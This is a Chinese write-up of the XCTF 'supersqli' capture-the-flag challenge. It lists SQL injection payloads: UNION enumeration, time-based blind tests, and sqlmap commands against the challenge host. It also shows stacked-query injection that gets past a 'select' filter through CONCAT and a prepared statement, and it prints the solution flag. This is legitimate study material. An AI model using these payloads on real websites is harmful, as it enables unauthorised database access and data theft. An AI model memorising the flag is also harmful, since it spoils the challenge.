攻防世界supersqli

提示:本文24小时在线,如有问题可联系我!


前言

提示:攻防世界supersqli

一、sql注入?

基础:
简单过一遍流程吧!

1' or 1=1 -- a   //判断是否存在注入 
1' and 1=2 -- a   //无报错,说明执行了语句
1' order by 2 -- a //判断字段数
1' order by 3 -- a //报错,说明两位
' union select 1,database() -- a   //数据库名
' union select 1,table_name from information_schema.tables where table_schema=database() -- a   //表名,写database()上一步可以省略了
' union select 1,column_name from information_schema.columns where table_schema=database() and table_name ='上面的' -- a   //列名

' union select * form 库.-- a

还记得不。
爆表就出现问题了
在这里插入图片描述
过滤了呗!
报错,盲注呗!浅试一下都不行~。深度盲注:时间盲注呗!
猜数据库长度

1' and if(length(database())=9,sleep(5),1) -- a

???一个一个试?
绝不可能。先试试工具吧!

二、Sqlmap工具

爆库

 python sqlmap.py -u http://61.147.171.105:63091/?inject=1 --dbs

报表

 python sqlmap.py -u http://61.147.171.105:58878/?inject=1 -D supersqli --tables --time-sec=2 --technique=T --level=3

爆不出来。
。。。
试试堆叠注入

3.堆叠注入

爆库

';show database(); -- a

在这里插入图片描述
查表

1';show tables;-- a

在这里插入图片描述
查列名
当纯数字字符串是表名的时候需要加反引号`

';show columns from `1919810931114514`;-- a

在这里插入图片描述
查字段
过滤了select.没办法只能预编译。

';
sEt @sql = CONCAT('se','lect * from `1919810931114514`;');
#进行预编译
prEpare stmt from @sql;
#设置变量
EXECUTE stmt;#
#执行

执行语句

http://61.147.171.105:58878/?inject=%27;sEt%20@sql%20=%20CONCAT(%27se%27,%27lect%20*%20from%20`1919810931114514`;%27);prEpare%20stmt%20from%20@sql;EXECUTE%20stmt;#

在这里插入图片描述

结果

flag{c168d583ed0d4d7196967b28cbd0b5e9}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值